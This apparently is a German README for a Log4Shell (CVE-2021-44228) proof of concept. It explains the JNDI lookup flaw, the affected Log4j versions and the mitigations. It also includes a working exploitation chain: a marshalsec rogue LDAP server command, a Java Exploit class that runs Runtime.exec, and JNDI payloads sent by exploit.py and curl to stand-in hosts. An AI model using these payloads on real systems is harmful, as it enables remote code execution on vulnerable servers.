
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 KRITISCH | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten | CWE-917: Unzureichende Neutralisierung bei Expression-Language-Injection
Log4Shell (CVE-2021-44228) ist wohl die schwerwiegendste Schwachstelle der 2020er-Jahre und betrifft Apache Log4j2 Versionen 2.0 bis 2.14.1. Entdeckt von Chen Zhaojun von Alibaba Cloud Security im November 2021 und am 9. Dezember 2021 öffentlich bekannt gegeben, ermöglicht sie nicht authentifizierte Remotecodeausführung auf hunderten Millionen Servern weltweit.
Die Schwachstelle entsteht durch die JNDI-Lookup-Funktion (Java Naming and Directory Interface) von Log4j2, die beliebige Lookup-Zeichenfolgen wie ${jndi:ldap://attacker.com/a} in Protokollmeldungen erlaubt. Wenn eine benutzerkontrollierte Zeichenfolge, die ein solches Muster enthält, protokolliert wird, führt Log4j2 den JNDI-Lookup aus, der entfernte Java-Klassen laden und ausführen kann.
Log4j2 führte eine Funktion namens „Message Lookup“ ein, die ${...}-Muster in Protokollmeldungen durch Werte aus verschiedenen Quellen (JNDI, Umgebungsvariablen, Systemeigenschaften usw.) ersetzt. Die Klasse () ruft mit Angreifer-kontrollierten Zeichenfolgen ohne ordnungsgemäße Bereinigung auf.
JndiLookuporg.apache.logging.log4j.core.lookup.JndiLookupInitialContext.lookup()// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
Die Methode lookup() delegiert an javax.naming.InitialContext.lookup(), die entfernte Objekte von LDAP-, RMI-, DNS- oder CORBA-Servern laden kann.
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM
| Version | Status |
|---|---|
| Log4j 2.0 – 2.14.1 | Verwundbar |
| Log4j 2.15.0-rc1 | Teilweiser Fix (CVE-2021-45046-Bypass) |
| Log4j 2.15.0 | Eingeschränkter Fix (JNDI standardmäßig deaktiviert, eingeschränkte Lookups) |
| Log4j 2.16.0 | JNDI deaktiviert, Message Lookups entfernt |
| Log4j 2.17.0 | Endgültiger Fix für 2.x (CVE-2021-44832) |
| Log4j 1.x | Nicht direkt betroffen (andere Codebasis) |
Verwenden Sie marshalsec, um einen bösartigen LDAP-Server zu starten:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
Oder über HTTP-Header:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
Das enthaltene exploit.py bietet:
| Ansatz | Details |
|---|---|
| Log4j aktualisieren | Auf 2.17.0+ (2.x) oder 2.12.4+ (Java 7) aktualisieren |
| JVM-Flag | -Dlog4j2.formatMsgNoLookups=true |
| JndiLookup entfernen | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| WAF-Regeln | ${jndi:-Muster in Anfragen blockieren |
| Netzwerksteuerung | Ausgehendes LDAP/RMI an nicht vertrauenswürdige Server blockieren |